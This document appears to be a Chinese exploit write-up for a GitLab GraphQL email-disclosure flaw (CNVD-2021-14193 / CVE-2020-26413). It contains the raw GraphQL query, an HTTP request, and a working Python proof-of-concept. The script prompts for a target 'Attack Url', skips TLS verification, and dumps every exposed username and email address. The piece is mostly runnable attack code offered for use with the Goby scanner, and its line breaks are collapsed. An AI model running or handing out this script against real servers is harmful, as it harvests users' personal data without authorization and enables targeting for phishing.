GitLab Graphql邮箱信息泄露漏洞 CNVD-2021-14193

{users {edges {  node {    username    email
   }  } }}

POST /api/graphql HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 212Content-Type: application/json

{"query":"{nusers {nedges {n  node {n    usernamen    emailn    avatarUrln    status {n      emojin      messagen      messageHtmln     }n    }n   }n  }n }","variables":null,"operationName":null}

import requestsimport sysimport randomimport reimport jsonfrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():    print('+------------------------------------------')    print('+  33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')    print('+  33[34mVersion: GitLab 13.4 - 13.6.2                                     33[0m')    print('+  33[36m使用格式:  python3 poc.py                                            33[0m')    print('+  33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             33[0m')    print('+------------------------------------------')
def POC_1(target_url):    vuln_url = target_url + "/api/graphql"    user_number = 0    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",        "Content-Type": "application/json",    }    try:        data = """        {"query":"{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }","variables":null,"operationName":null}        """        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)        if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:            print('33[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... 33[0m'.format(target_url))            for i in range(0,999):                try:                    username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]                    email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]                    user_number = user_number + 1                    print('33[34m[o] 用户名:{} 邮箱:{} 33[0m'.format(username, email))                except:                    print("33[32m[o] 共泄露{}名用户邮箱账号 33[0m".format(user_number))                    sys.exit(0)        else:            print("33[31m[x] 不存在漏洞 33[0m")            sys.exit(0)    except Exception as e:        print("33[31m[x] 请求失败 33[0m", e)

if __name__ == '__main__':    title()    target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))    POC_1(target_url)

GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413EXP放在 Goby & POC 目录中可一键导入Goby扫描 阅读原文 ----> Github ----> Goby & POC 目录